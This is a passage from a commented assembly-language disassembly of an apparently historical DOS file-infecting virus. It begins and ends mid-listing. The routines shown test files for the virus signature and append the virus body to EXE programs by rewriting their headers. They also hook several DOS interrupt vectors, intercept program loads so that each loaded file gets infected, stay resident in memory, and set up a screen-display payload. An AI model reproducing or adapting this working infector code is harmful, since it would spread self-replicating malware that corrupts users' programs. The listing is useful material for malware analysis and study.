  1115.     ADD    SI,AX            ; \ Add to offset
  1116.  
  1117.     ADC    CX,0            ; /
  1118.  
  1119.     SUB    SI,3            ; \ Subtract length of signature
  1120.  
  1121.     SBB    CX,0            ; /
  1122.  
  1123.     MOV    AX,[DI+8]        ; Get size of header
  1124.  
  1125.     CALL    BP0490            ; Move segment to two-register offset
  1126.  
  1127.     ADD    SI,AX            ; \ Add to starting position
  1128.  
  1129.     ADC    CX,DX            ; /
  1130.  
  1131.     MOV    DX,SI            ; Move low word
  1132.  
  1133.     POP    SI
  1134.  
  1135.     MOV    AX,4200H        ; Move file pointer (start) function
  1136.  
  1137.     INT    21H            ; DOS service
  1138.  
  1139.     MOV    DX,DI            ; Address buffer
  1140.  
  1141.     ADD    DX,001CH        ; Add length of EXE header
  1142.  
  1143.     MOV    AH,3FH            ; Read handle function
  1144.  
  1145.     MOV    CX,3            ; Length to read
  1146.  
  1147.     INT    21H            ; DOS service
  1148.  
  1149.     CALL    BP0440            ; Test virus signature on file
  1150.  
  1151.     JNB    BP0480            ; Branch if not present
  1152.  
  1153.     ASSUME    DS:NOTHING
  1154.  
  1155.     MOV    ISWTCH[SI],1        ; Set infected file switch on
  1156.  
  1157.     RET
  1158.  
  1159.  
  1160.  
  1161.     ; Test virus signature on file
  1162.  
  1163.  
  1164.  
  1165. BP0440:    CMP    WORD PTR [DI+1CH],4756H    ; Look for virus signature
  1166.  
  1167.     JNE    BP0470            ; Branch if not found
  1168.  
  1169.     CMP    BYTE PTR [DI+1EH],31H    ; Look for rest of signature
  1170.  
  1171.     JNE    BP0470            ; Branch if not found
  1172.  
  1173. BP0450:    STC
  1174.  
  1175. BP0460:    RET
  1176.  
  1177.  
  1178.  
  1179. BP0470:    CLC
  1180.  
  1181.     RET
  1182.  
  1183.  
  1184.  
  1185.     ; Infect EXE file
  1186.  
  1187.  
  1188.  
  1189.     ASSUME    DS:CODE
  1190.  
  1191. BP0480:    CALL    BP0500            ; Move pointer to end of file
  1192.  
  1193.     MOV    FLENLO[SI],AX        ; Save file length, low word
  1194.  
  1195.     MOV    FLENHI[SI],DX        ; Save file length, high word
  1196.  
  1197.     MOV    CX,[DI+4]        ; Get size of file in pages
  1198.  
  1199.     SHL    CX,1            ; Multiply by two
  1200.  
  1201.     XCHG    CH,CL            ; Reverse bytes
  1202.  
  1203.     MOV    BP,CX            ; Copy
  1204.  
  1205.     AND    BP,0FF00H        ; Convert to bytes (low word)
  1206.  
  1207.     XOR    CH,CH            ; Convert to bytes (high word)
  1208.  
  1209.     ADD    BP,[DI+6]        ; \ Add number of relocation entries
  1210.  
  1211.     ADC    CX,0            ; /
  1212.  
  1213.     SUB    BP,AX            ; \ Subtract current length
  1214.  
  1215.     SBB    CX,DX            ; /
  1216.  
  1217.     JB    BP0460            ; Branch if overlay
  1218.  
  1219.     PUSH    AX            ; Save length of host, low word
  1220.  
  1221.     PUSH    DX            ; Save length of host, high word
  1222.  
  1223.     PUSH    [DI+18H]        ; Save offset to relocation table
  1224.  
  1225.     MOV    BYTE PTR [DI+18H],0FFH    ; Original entry address marker
  1226.  
  1227.     MOV    CX,5            ; Length to write
  1228.  
  1229.     MOV    AH,40H            ; Write handle function
  1230.  
  1231.     MOV    DX,DI            ; \ Address host entry address
  1232.  
  1233.     ADD    DX,14H            ; /
  1234.  
  1235.     INT    21H            ; DOS service
  1236.  
  1237.     POP    [DI+18H]        ; Recover offset to relocation table
  1238.  
  1239.     MOV    DX,SI            ; \ Address start of virus
  1240.  
  1241.     ADD    DX,5            ; /
  1242.  
  1243.     MOV    CX,OFFSET SIGNAT    ; Length of virus
  1244.  
  1245.     MOV    AH,40H            ; Write handle function
  1246.  
  1247.     INT    21H            ; DOS service
  1248.  
  1249.     MOV    AX,4200H        ; Move file pointer (start) function
  1250.  
  1251.     XOR    CX,CX            ; \ No displacement
  1252.  
  1253.     XOR    DX,DX            ; /
  1254.  
  1255.     INT    21H            ; DOS service
  1256.  
  1257.     POP    [DI+16H]        ; Recover length of host, high word
  1258.  
  1259.     POP    [DI+14H]        ; Recover length of host, low word
  1260.  
  1261.     ADD    WORD PTR [DI+14H],00FAH    ; \ Add entry point
  1262.  
  1263.     ADC    WORD PTR [DI+16H],0    ; /
  1264.  
  1265.     MOV    AX,[DI+8]        ; Get size of header
  1266.  
  1267.     CALL    BP0490            ; Move segment to two-register offset
  1268.  
  1269.     SUB    [DI+14H],AX        ; \ Subtract size of header
  1270.  
  1271.     SBB    [DI+16H],DX        ; /
  1272.  
  1273.     MOV    CL,0CH            ; Bits to move
  1274.  
  1275.     SHL    WORD PTR [DI+16H],CL    ; Convert high word to segment
  1276.  
  1277.     MOV    AX,OFFSET ENDADR    ; Length of virus
  1278.  
  1279.     ADD    AX,[DI+2]        ; Add bytes in last paragraph
  1280.  
  1281.     MOV    [DI+2],AX        ; Store new figure
  1282.  
  1283.     AND    [DI+2],01FFH        ; Set off top bits
  1284.  
  1285.     MOV    AL,AH            ; Copy high byte
  1286.  
  1287.     XOR    AH,AH            ; Clear top of register
  1288.  
  1289.     SHR    AX,1            ; Divide by two
  1290.  
  1291.     ADD    [DI+4],AX        ; Add to pages
  1292.  
  1293.     MOV    DX,DI            ; Move address of EXE header
  1294.  
  1295.     MOV    CX,001CH        ; EXE header length
  1296.  
  1297.     MOV    AH,40H            ; Write handle function
  1298.  
  1299.     INT    21H            ; DOS service
  1300.  
  1301.     CLC
  1302.  
  1303.     RET
  1304.  
  1305.  
  1306.  
  1307.     ; Move segment to two-register offset
  1308.  
  1309.  
  1310.  
  1311. BP0490:    XOR    DX,DX            ; Clear register
  1312.  
  1313.     SHL    AX,1            ; \ Move double one bit
  1314.  
  1315.     RCL    DX,1            ; /
  1316.  
  1317.     SHL    AX,1            ; \ Move double one bit
  1318.  
  1319.     RCL    DX,1            ; /
  1320.  
  1321.     SHL    AX,1            ; \ Move double one bit
  1322.  
  1323.     RCL    DX,1            ; /
  1324.  
  1325.     SHL    AX,1            ; \ Move double one bit
  1326.  
  1327.     RCL    DX,1            ; /
  1328.  
  1329.     RET
  1330.  
  1331.  
  1332.  
  1333.     ; Move pointer to end of file
  1334.  
  1335.  
  1336.  
  1337. BP0500:    XOR    DX,DX            ; \ No displacement
  1338.  
  1339.     XOR    CX,CX            ; /
  1340.  
  1341.     MOV    AX,4202H        ; Move file pointer (EOF) function
  1342.  
  1343.     INT    21H            ; DOS service
  1344.  
  1345.     RET
  1346.  
  1347.  
  1348.  
  1349.     ; Get installed virus segment
  1350.  
  1351.  
  1352.  
  1353. BP0510:    XOR    AX,AX            ; \ Address zero
  1354.  
  1355.     MOV    DS,AX            ; /
  1356.  
  1357.     LDS    DI,BD009C        ; Load Int 27H vector
  1358.  
  1359.     LDS    DI,[DI+1]        ; Get vector from far jump
  1360.  
  1361.     MOV    AX,DI            ; Save offset
  1362.  
  1363.     SUB    DI,OFFSET BP0780-V_SIGN    ; Address from jump to old Int 27H
  1364.  
  1365.     CALL    BP0530            ; Test virus signature in memory
  1366.  
  1367.     JZ    BP0520            ; Branch if found
  1368.  
  1369.     MOV    DI,AX            ; Retrieve offset
  1370.  
  1371.     SUB    DI,OFFSET BP0770-V_SIGN    ; Address from new Int 27H routine
  1372.  
  1373.     CALL    BP0530            ; Test virus signature in memory
  1374.  
  1375.     JZ    BP0520            ; Branch if found
  1376.  
  1377.     LDS    DI,BD0080        ; Load Int 20H vector
  1378.  
  1379.     LDS    DI,[DI+1]        ; Get vector from far jump
  1380.  
  1381.     MOV    AX,DI            ; Save offset
  1382.  
  1383.     SUB    DI,OFFSET BP0630-V_SIGN    ; Address from jump to old Int 20H
  1384.  
  1385.     CALL    BP0530            ; Test virus signature in memory
  1386.  
  1387.     JZ    BP0520            ; Branch if found
  1388.  
  1389.     MOV    DI,AX            ; Retrieve offset
  1390.  
  1391.     SUB    DI,OFFSET BP0620-V_SIGN    ; Address from new Int 27H routine
  1392.  
  1393.     CALL    BP0530            ; Test virus signature in memory
  1394.  
  1395. BP0520:    RET
  1396.  
  1397.  
  1398.  
  1399.     ; Test virus signature in memory
  1400.  
  1401.  
  1402.  
  1403. BP0530:    XOR    DX,DX            ; Clear register
  1404.  
  1405.     CMP    WORD PTR [DI],4756H    ; Look for virus signature
  1406.  
  1407.     JNE    BP0540            ; Branch if not present
  1408.  
  1409.     CMP    BYTE PTR [DI+2],31H    ; Look for rest of signature
  1410.  
  1411.     JE    BP0550            ; Branch if there
  1412.  
  1413. BP0540:    INC    DX            ; Set no virus marker
  1414.  
  1415. BP0550:    SUB    DI,OFFSET V_SIGN    ; Subtract offset of signature
  1416.  
  1417.     OR    DX,DX            ; Test no virus marker
  1418.  
  1419.     RET
  1420.  
  1421.  
  1422.  
  1423.     ; Create far jump
  1424.  
  1425.  
  1426.  
  1427. BP0560:    MOV    AL,0EAH            ; Far jump
  1428.  
  1429.     STOSB                ; Store jump instruction
  1430.  
  1431.     MOV    AX,CX            ; \ Address routine
  1432.  
  1433.     ADD    AX,SI            ; /
  1434.  
  1435.     STOSW                ; Store offset
  1436.  
  1437.     MOV    AX,CS            ; Get segment
  1438.  
  1439.     STOSW                ; Store segment
  1440.  
  1441. BP0570:    RET
  1442.  
  1443.  
  1444.  
  1445.     ; Install interrupts
  1446.  
  1447.  
  1448.  
  1449. BP0580:    OR    DX,DX
  1450.  
  1451.     JZ    BP0570            ; Dont install if yes
  1452.  
  1453.     PUSH    DS
  1454.  
  1455.     PUSH    ES
  1456.  
  1457.     MOV    ES,SEGREG[SI]        ; Get segment register
  1458.  
  1459.     MOV    DI,00ECH        ; Address far jump table
  1460.  
  1461.     CLD
  1462.  
  1463.     MOV    CX,OFFSET BP0880    ; Int 1CH routine
  1464.  
  1465.     CALL    BP0560            ; Create Int 1CH far jump
  1466.  
  1467.     MOV    CX,OFFSET BP0620    ; Int 20H routine
  1468.  
  1469.     CALL    BP0560            ; Create Int 20H far jump
  1470.  
  1471.     MOV    CX,OFFSET BP0700    ; Int 21H routine
  1472.  
  1473.     CALL    BP0560            ; Create Int 21H far jump
  1474.  
  1475.     MOV    CX,OFFSET BP0770    ; Int 27H routine
  1476.  
  1477.     CALL    BP0560            ; Create Int 27H far jump
  1478.  
  1479.     XOR    AX,AX            ; \ Address zero
  1480.  
  1481.     MOV    DS,AX            ; /
  1482.  
  1483.     ASSUME    DS:BOOT
  1484.  
  1485.     CLI
  1486.  
  1487.     MOV    AX,00ECH        ; Address Int 1CH far jump
  1488.  
  1489.     XCHG    AX,BW0070        ; Install as Int 1CH offset
  1490.  
  1491.     MOV    CS:I1C_OF[SI],AX    ; Save old Int 1CH offset
  1492.  
  1493.     MOV    AX,ES            ; Get this segment
  1494.  
  1495.     XCHG    AX,BW0072        ; Install as Int 1CH segment
  1496.  
  1497.     MOV    CS:I1C_SG[SI],AX    ; Save old Int 1CH segment
  1498.  
  1499.     MOV    AX,00F1H        ; Address Int 20H far jump
  1500.  
  1501.     XCHG    AX,BW0080        ; Install as Int 20H offset
  1502.  
  1503.     MOV    CS:I20_OF[SI],AX    ; Save old Int 20H offset
  1504.  
  1505.     MOV    AX,ES            ; Get this segment
  1506.  
  1507.     XCHG    AX,BW0082        ; Install as Int 20H segment
  1508.  
  1509.     MOV    CS:I20_SG[SI],AX    ; Save old Int 20H segment
  1510.  
  1511.     MOV    AX,00F6H        ; Address Int 21H far jump
  1512.  
  1513.     XCHG    AX,BW0084        ; Install as Int 21H offset
  1514.  
  1515.     MOV    CS:I21_OF[SI],AX    ; Save old Int 21H offset
  1516.  
  1517.     MOV    AX,ES            ; Get this segment
  1518.  
  1519.     XCHG    AX,BW0086        ; Install as Int 21H segment
  1520.  
  1521.     MOV    CS:I21_SG[SI],AX    ; Save old Int 21H segment
  1522.  
  1523.     MOV    AX,00FBH        ; Address Int 27H far jump
  1524.  
  1525.     XCHG    AX,BW009C        ; Install as Int 27H offset
  1526.  
  1527.     MOV    CS:I27_OF[SI],AX    ; Save old Int 27H offset
  1528.  
  1529.     MOV    AX,ES            ; Get this segment
  1530.  
  1531.     XCHG    AX,BW009E        ; Install as Int 27H segment
  1532.  
  1533.     MOV    CS:I27_SG[SI],AX    ; Save old Int 27H segment
  1534.  
  1535.     POP    ES
  1536.  
  1537.     POP    DS
  1538.  
  1539.     STI
  1540.  
  1541.     RET
  1542.  
  1543.  
  1544.  
  1545.     ; Reset interrupts
  1546.  
  1547.  
  1548.  
  1549.     ASSUME    DS:CODE
  1550.  
  1551. BP0590:    PUSH    ES
  1552.  
  1553.     MOV    ES,SEGREG[SI]        ; Get segment register
  1554.  
  1555.     MOV    DI,00F1H        ; Address far jump table (2nd entry)
  1556.  
  1557.     CLD
  1558.  
  1559.     MOV    CX,OFFSET BP0630    ; Jump to old Int 20H
  1560.  
  1561.     CALL    BP0560            ; Create Int 20H far jump
  1562.  
  1563.     MOV    CX,OFFSET BP0720    ; Alternate Int 21H routine
  1564.  
  1565.     CALL    BP0560            ; Create Int 21H far jump
  1566.  
  1567.     MOV    CX,OFFSET BP0780    ; Jump to old Int 27H
  1568.  
  1569.     CALL    BP0560            ; Create Int 27H far jump
  1570.  
  1571.     POP    ES
  1572.  
  1573.     RET
  1574.  
  1575.  
  1576.  
  1577.     ; Set Int 24H vector
  1578.  
  1579.  
  1580.  
  1581. BP0600:    PUSH    ES
  1582.  
  1583.     XOR    AX,AX            ; \ Address zero
  1584.  
  1585.     MOV    ES,AX            ; /
  1586.  
  1587.     ASSUME    ES:BOOT
  1588.  
  1589.     MOV    AX,OFFSET BP0790    ; \ Interrupt 24H routine
  1590.  
  1591.     ADD    AX,SI            ; /
  1592.  
  1593.     XCHG    AX,BW0090        ; Install as Int 24H offset
  1594.  
  1595.     MOV    I24_OF[SI],AX        ; Save old Int 24H offset
  1596.  
  1597.     MOV    AX,CS            ; Get this segment
  1598.  
  1599.     XCHG    AX,BW0092        ; Install as Int 24H segment
  1600.  
  1601.     MOV    I24_SG[SI],AX        ; Save old Int 24H segment
  1602.  
  1603.     POP    ES
  1604.  
  1605.     MOV    CRTERR[SI],0        ; Clear critical error flag
  1606.  
  1607.     RET
  1608.  
  1609.  
  1610.  
  1611.     ; Restore Int 24H vector
  1612.  
  1613.  
  1614.  
  1615.     ASSUME    DS:NOTHING
  1616.  
  1617. BP0610:    PUSH    ES
  1618.  
  1619.     XOR    AX,AX            ; \ Address zero
  1620.  
  1621.     MOV    ES,AX            ; /
  1622.  
  1623.     MOV    AX,I24_OF[SI]        ; Get old Int 24H offset
  1624.  
  1625.     MOV    BW0090,AX        ; Restore Int 24H offset
  1626.  
  1627.     MOV    AX,I24_SG[SI]        ; Get old Int 24H segment
  1628.  
  1629.     MOV    BW0092,AX        ; Restore Int 24H segment
  1630.  
  1631.     POP    ES
  1632.  
  1633.     ASSUME    ES:NOTHING
  1634.  
  1635.     RET
  1636.  
  1637.  
  1638.  
  1639.     ; Interrupt 20H routine
  1640.  
  1641.  
  1642.  
  1643. BP0620:    JMP    BP0680
  1644.  
  1645.  
  1646.  
  1647.     ; Interrupt 20H - jump to original routine
  1648.  
  1649.  
  1650.  
  1651. BP0630:    DB    0EAH            ; Far jump to Int 20H
  1652.  
  1653. I20_OF    DW    0136CH            ; Original Int 20H offset
  1654.  
  1655. I20_SG    DW    00291H            ; Original Int 20H segment
  1656.  
  1657.  
  1658.  
  1659.     ; Get relocation constant in SI
  1660.  
  1661.  
  1662.  
  1663. BP0640:    POP    BX            ; Get return address
  1664.  
  1665.     PUSH    DS
  1666.  
  1667.     PUSH    AX
  1668.  
  1669.     PUSH    DS
  1670.  
  1671.     PUSH    CS            ; \ Set DS to CS
  1672.  
  1673.     POP    DS            ; /
  1674.  
  1675.     ASSUME    DS:CODE
  1676.  
  1677.     CALL    BP0650            ; \ Get current address
  1678.  
  1679. BP0650:    POP    SI            ; /
  1680.  
  1681.     SUB    SI,OFFSET BP0650    ; Subtract displacement from it
  1682.  
  1683.     JMP    BX            ; Branch to return address
  1684.  
  1685.  
  1686.  
  1687.     ; Free or allocate memory functions
  1688.  
  1689.  
  1690.  
  1691. BP0660:    CALL    BP0640            ; Get relocation constant in SI
  1692.  
  1693.     PUSH    CX
  1694.  
  1695.     MOV    AX,[SI+7]        ; Get host segment
  1696.  
  1697.     MOV    CX,ES            ; Get relevant segment
  1698.  
  1699.     CMP    AX,CX            ; Are they the same?
  1700.  
  1701.     POP    CX
  1702.  
  1703.     POP    DS
  1704.  
  1705.     POP    AX
  1706.  
  1707.     JNE    BP0670            ; Branch if different
  1708.  
  1709.     PUSH    CS            ; \ Set ES to CS
  1710.  
  1711.     POP    ES            ; /
  1712.  
  1713.     CMP    AH,49H            ; Free memory?
  1714.  
  1715.     JE    BP0670            ; Branch if yes
  1716.  
  1717.     ADD    BX,01D0H        ; Add length of installed segment
  1718.  
  1719. BP0670:    POP    DS
  1720.  
  1721.     JMP    BP0710            ; Pass on to old Int 21H
  1722.  
  1723.  
  1724.  
  1725.     ; Program termination (Int 20H, or functions 0 or 4CH)
  1726.  
  1727.  
  1728.  
  1729. BP0680:    XOR    DX,DX            ; Nothing to keep
  1730.  
  1731. BP0690:    CALL    BP0640            ; Get relocation constant in SI
  1732.  
  1733.     PUSH    ES
  1734.  
  1735.     PUSH    DX
  1736.  
  1737.     CLI
  1738.  
  1739.     CALL    BP0590            ; Reset interrupts
  1740.  
  1741.     STI
  1742.  
  1743.     POP    AX
  1744.  
  1745.     MOV    DX,01D0H        ; Length of installed segment
  1746.  
  1747.     ADD    DX,AX            ; Add length for host
  1748.  
  1749.     ADD    DX,10H            ; Add PSP length (?)
  1750.  
  1751.     POP    ES
  1752.  
  1753.     POP    DS
  1754.  
  1755.     POP    AX
  1756.  
  1757.     POP    DS
  1758.  
  1759.     MOV    AH,31H            ; Keep process function
  1760.  
  1761.     JMP    SHORT BP0710        ; Pass on to old Int 21H
  1762.  
  1763.  
  1764.  
  1765.     ; Interrupt 21H routine
  1766.  
  1767.  
  1768.  
  1769. BP0700:    CMP    AH,4CH            ; \ End process function?
  1770.  
  1771.     JE    BP0680            ; /
  1772.  
  1773.     CMP    AH,31H            ; \ Keep process function?
  1774.  
  1775.     JE    BP0690            ; /
  1776.  
  1777.     OR    AH,AH            ; \ Terminate program function?
  1778.  
  1779.     JZ    BP0680            ; /
  1780.  
  1781.     CMP    AH,49H            ; \ Free allocated memory function?
  1782.  
  1783.     JE    BP0660            ; /
  1784.  
  1785.     CMP    AH,4AH            ; \ Set block function?
  1786.  
  1787.     JE    BP0660            ; /
  1788.  
  1789.     CMP    AH,4BH            ; \ Load function?
  1790.  
  1791.     JE    BP0730            ; /
  1792.  
  1793. BP0710:    DB    0EAH            ; Far jump to Int 21H
  1794.  
  1795. I21_OF    DW    0138DH            ; Original Int 21H offset
  1796.  
  1797. I21_SG    DW    00291H            ; Original Int 21H segment
  1798.  
  1799.  
  1800.  
  1801.     ; Alternate Interrupt 21H - only intercept load
  1802.  
  1803.  
  1804.  
  1805. BP0720:    CMP    AH,4BH            ; Load function?
  1806.  
  1807.     JNE    BP0710            ; Branch if not
  1808.  
  1809. BP0730:    PUSH    CX
  1810.  
  1811.     PUSH    DX
  1812.  
  1813.     PUSH    ES
  1814.  
  1815.     PUSH    BX
  1816.  
  1817.     PUSH    SI
  1818.  
  1819.     PUSH    DI
  1820.  
  1821.     PUSH    BP
  1822.  
  1823.     CALL    BP0640            ; Get relocation constant in SI
  1824.  
  1825.     CALL    BP0600            ; Set Int 24H vector
  1826.  
  1827. BP0740:    STI
  1828.  
  1829.     TEST    BYTE PTR SWTCHB+100H,2    ; Test switch two
  1830.  
  1831.     JNZ    BP0740            ; Branch if on
  1832.  
  1833.     CLI
  1834.  
  1835.     TEST    BYTE PTR SWTCHB+100H,2    ; Test switch two
  1836.  
  1837.     JNZ    BP0740            ; Branch if on
  1838.  
  1839.     OR    BYTE PTR SWTCHB+100H,2    ; Set on switch two
  1840.  
  1841.     POP    DS
  1842.  
  1843.     ASSUME    DS:NOTHING
  1844.  
  1845.     MOV    BX,DX            ; Pathname pointer
  1846.  
  1847.     MOV    PTHDSK[SI],0FFH        ; Set drive to none
  1848.  
  1849.     CMP    BYTE PTR [BX+01],':'    ; Does pathname include drive?
  1850.  
  1851.     JNE    BP0750            ; Branch if not
  1852.  
  1853.     MOV    AL,[BX]            ; Get drive letter
  1854.  
  1855.     OR    AL,20H            ; Convert to lowercase
  1856.  
  1857.     SUB    AL,'a'            ; Convert to number
  1858.  
  1859.     MOV    PTHDSK[SI],AL        ; Store drive
  1860.  
  1861. BP0750:    PUSH    SI
  1862.  
  1863.     PUSH    DI
  1864.  
  1865.     PUSH    ES
  1866.  
  1867.     CLD
  1868.  
  1869.     MOV    SI,DX            ; Pathname pointer
  1870.  
  1871.     PUSH    CS            ; \ Set ES to CS
  1872.  
  1873.     POP    ES            ; /
  1874.  
  1875.     MOV    DI,OFFSET DB0884+100H    ; Pathname
  1876.  
  1877. BP0760:    LODSB                ; Get a character
  1878.  
  1879.     STOSB                ; Store a character
  1880.  
  1881.     OR    AL,AL            ; Was that the last?
  1882.  
  1883.     JNZ    BP0760            ; Branch if not
  1884.  
  1885.     POP    ES
  1886.  
  1887.     POP    DI
  1888.  
  1889.     POP    SI
  1890.  
  1891.     CALL    BP0380            ; Process file
  1892.  
  1893.     CALL    BP0610            ; Restore Int 24H vector
  1894.  
  1895.     AND    BYTE PTR CS:SWTCHB+100H,0FDH ; Set off switch two
  1896.  
  1897.     POP    AX
  1898.  
  1899.     POP    DS
  1900.  
  1901.     POP    BP
  1902.  
  1903.     POP    DI
  1904.  
  1905.     POP    SI
  1906.  
  1907.     POP    BX
  1908.  
  1909.     POP    ES
  1910.  
  1911.     POP    DX
  1912.  
  1913.     POP    CX
  1914.  
  1915.     JMP    BP0710            ; Pass on to old Int 21H
  1916.  
  1917.  
  1918.  
  1919.     ; Interrupt 27H routine
  1920.  
  1921.  
  1922.  
  1923. BP0770:    ADD    DX,0FH            ; Round up
  1924.  
  1925.     MOV    CL,4            ; Bits to shift
  1926.  
  1927.     SHR    DX,CL            ; Convert to paragraphs
  1928.  
  1929.     JMP    BP0690            ; Keep process
  1930.  
  1931.  
  1932.  
  1933.     ; Interrupt 27H - jump to original routine
  1934.  
  1935.  
  1936.  
  1937. BP0780:    DB    0EAH            ; Far jump to Int 27H
  1938.  
  1939. I27_OF    DW    05DFEH            ; Original Int 27H offset
  1940.  
  1941. I27_SG    DW    00291H            ; Original Int 27H segment
  1942.  
  1943.  
  1944.  
  1945.     ; Interrupt 24H routine
  1946.  
  1947.  
  1948.  
  1949. BP0790:    PUSH    SI
  1950.  
  1951.     CALL    BP0800            ; \ Get current location
  1952.  
  1953. BP0800:    POP    SI            ; /
  1954.  
  1955.     SUB    SI,OFFSET BP0800    ; Subtract offset
  1956.  
  1957.     OR    CRTERR[SI],1        ; Set critical error flag
  1958.  
  1959.     POP    SI
  1960.  
  1961.     XOR    AL,AL            ; No action
  1962.  
  1963.     IRET
  1964.  
  1965.  
  1966.  
  1967. DB086E    DB    1            ; Past second line indicator
  1968.  
  1969.     DB    0
  1970.  
  1971. DB0870    DB    0            ; Characters going down switch
  1972.  
  1973.     DB    0
  1974.  
  1975. SWTCHB    DB    82H            ; Switch byte
  1976.  
  1977.             ; 01 - switch one - alternate timer tick
  1978.  
  1979.             ; 02 - switch two - processing file
  1980.  
  1981.             ; 04 - switch three - infection count target reached
  1982.  
  1983.             ; 08 - switch four - count two started
  1984.  
  1985.             ; 10 - switch five - don't go to start of line
  1986.  
  1987.             ; 20 - switch six - count two started and finished (?)
  1988.  
  1989.             ; 40 - switch seven - count two finished
  1990.  
  1991.             ; 80 - switch eight - video display permitted
  1992.  
  1993. I09_OF    DW    0            ; Old Int 9 offset
  1994.  
  1995. I09_SG    DW    0            ; Old Int 9 segment
  1996.  
  1997. DSPCNT    DW    0FFDCH            ; Display count
  1998.  
  1999. I09BSY    DB    0            ; Int 9 busy switch
  2000.  
  2001. KEYTOK    DB    0            ; Keyboard token
  2002.  
  2003. KEYNUM    DB    0            ; Key number
  2004.  
  2005. VIDADR    DW    0B800H            ; Video RAM segment
  2006.  
  2007. RSTCNT    DW    0            ; Restore count
  2008.  
  2009. FLENLO    DW    39H            ; File length, low word
  2010.  
  2011. FLENHI    DW    0            ; File length, high word
  2012.  
  2013. DB0884    DB    'C:\3066\HELLO.COM', 0    ; Pathname
  2014.  
  2015.     DB    'EXE', 0, 'E', 90H DUP (0)
  2016.  
  2017.  
  2018.  
  2019. BP0820:    PUSH    CX
  2020.  
  2021.     PUSH    DS
  2022.  
  2023.     PUSH    ES
  2024.  
  2025.     PUSH    SI
  2026.  
  2027.     PUSH    DI
  2028.  
  2029.     PUSH    CS            ; \ Set ES to CS
  2030.  
  2031.     POP    ES            ; /
  2032.  
  2033.     CLD
  2034.  
  2035.     TEST    AL,20H            ; Test switch six
  2036.  
  2037.     JZ    BP0850            ; Branch if off
  2038.  
  2039.     TEST    AL,2            ; Test switch two
  2040.  
  2041.     JNZ    BP0860            ; Branch if on
  2042.  
  2043.     XOR    AX,AX            ; \ Address zero
  2044.  
  2045.     MOV    DS,AX            ; /
  2046.  
  2047.     ASSUME    DS:BOOT
  2048.  
  2049.     MOV    AL,BB0449        ; Get current VDU mode
  2050.  
  2051.     MOV    CX,0B800H        ; VDU RAM address
  2052.  
  2053.     CMP    AL,7            ; Mode 7?
  2054.  
  2055.     JNE    BP0830            ; Branch if not
  2056.  
  2057.     MOV    CX,0B000H        ; External mono VDU RAM
  2058.  
  2059.     JMP    SHORT BP0840
  2060.  
  2061.  
  2062.  
  2063. BP0830:    CMP    AL,2            ; Mode 2?
  2064.  
  2065.     JE    BP0840            ; Branch if yes
  2066.  
  2067.     CMP    AL,3            ; Mode 3?
  2068.  
  2069.     JNE    BP0860            ; Branch if not
  2070.  
  2071. BP0840:    MOV    VIDADR+100H,CX        ; Save video RAM segment
  2072.  
  2073.     OR    SWTCHB+100H,2        ; Set on switch two
  2074.  
  2075.     MOV    RSTCNT+100H,0        ; Set restore count to zero
  2076.  
  2077.     MOV    DS,CX            ; Address video RAM
  2078.  
  2079.     MOV    CX,80*25        ; Length to copy
  2080.  
  2081.     XOR    SI,SI            ; From zero
  2082.  
  2083.     MOV    DI,OFFSET SIGNAT+100H    ; To end of virus
  2084.  
  2085.     REPZ    MOVSW            ; Copy video
  2086.  
  2087.     XOR    AX,AX            ; \ Address zero
  2088.  
  2089.     MOV    DS,AX            ; /
  2090.  
  2091.     MOV    AX,OFFSET BP1010+100H    ; Interrupt 9 routine
  2092.  
  2093.     XCHG    AX,BW0024        ; Install as Int 9 offset
  2094.  
  2095.     MOV    I09_OF+100H,AX        ; Save old Int 9 offset
  2096.  
  2097.     MOV    AX,CS            ; Get current segment
  2098.  
  2099.     XCHG    AX,BW0026        ; Install as Int 9 segment
  2100.  
  2101.     MOV    I09_SG+100H,AX        ; Save old Int 9 segment
  2102.  
  2103. BP0850:    MOV    CX,0050H        ; Length of one line
  2104.  
  2105.     MOV    AX,80*24*2        ; Last line address
  2106.  
  2107.     MOV    DI,OFFSET DW0005+100H    ; Address line store
  2108.  
  2109.     REPZ    STOSW            ; Store line numbers
  2110.  
  2111.     AND    SWTCHB+100H,7        ; Set off switches above three
  2112.  
  2113. BP0860:    POP    DI
  2114.  
  2115.     POP    SI
  2116.  
  2117.     POP    ES
  2118.  
  2119.     POP    DS
  2120.  
  2121.     POP    CX
  2122.  
  2123.     JMP    BP0990            ; Pass on to original Int 1CH
  2124.  
  2125.  
  2126.  
  2127. BP0870:    JMP    BP0820
  2128.  
  2129.  
  2130.  
  2131.     ; Interrupt 1CH routine
  2132.  
  2133.  
  2134.  
  2135. BP0880:    PUSH    AX
  2136.  
  2137.     MOV    I09BSY+100H,0        ; Clear Int 9 busy switch
  2138.  
  2139.     MOV    AL,SWTCHB+100H        ; Get switches
  2140.  
  2141.     TEST    AL,60H            ; Test switches six and seven
  2142.  
  2143.     JNZ    BP0870            ; Branch if either is on
  2144.  
  2145.     TEST    AL,80H            ; Test switch eight
  2146.  
  2147.     JZ    BP0910            ; Branch if off
  2148.  
  2149.     CMP    RSTCNT+100H,0        ; Is restore count off?
  2150.  
  2151.     JE    BP0890            ; Branch if yes
  2152.  
  2153.     INC    RSTCNT+100H        ; Increment restore count
  2154.  
  2155.     CMP    RSTCNT+100H,0444H    ; Have we reached target (1 minute)?
  2156.  
  2157.     JL    BP0890            ; Branch if not
  2158.  
  2159.     CALL    BP1030            ; Video display routine
  2160.  
  2161.     JMP    BP0990            ; Pass on to original Int 1CH
  2162.  
  2163.  
  2164.  
  2165. BP0890:    TEST    AL,18H            ; Test switches four and five
  2166.  
  2167.     JZ    BP0900            ; Branch if both off
  2168.  
  2169.     DEC    DSPCNT+100H        ; Decrement display count
  2170.  
  2171.     JNZ    BP0900            ; Branch if not finished
  2172.  
  2173.     AND    SWTCHB+100H,0E7H    ; Set off switch three
  2174.  
  2175.     OR    SWTCHB+100H,40H        ; Set on switch seven
  2176.  
  2177.     TEST    AL,8            ; Test switch four
  2178.  
  2179.     JZ    BP0900            ; Branch if off
  2180.  
  2181.     OR    SWTCHB+100H,20H        ; Set on switch six
  2182.  
  2183. BP0900:    JMP    BP0990            ; Pass on to original Int 1CH
  2184.  
  2185.  
  2186.  
  2187. BP0910:    XOR    SWTCHB+100H,1        ; Toggle switch one
  2188.  
  2189.     TEST    AL,1            ; Test previous state
  2190.  
  2191.     JZ    BP0900            ; Branch if off
  2192.  
  2193.     PUSH    BX
  2194.  
  2195.     PUSH    SI
  2196.  
  2197.     PUSH    DS
  2198.  
  2199.     MOV    DS,VIDADR+100H        ; Get video RAM segment
  2200.  
  2201.     XOR    SI,SI            ; Start of line
  2202.  
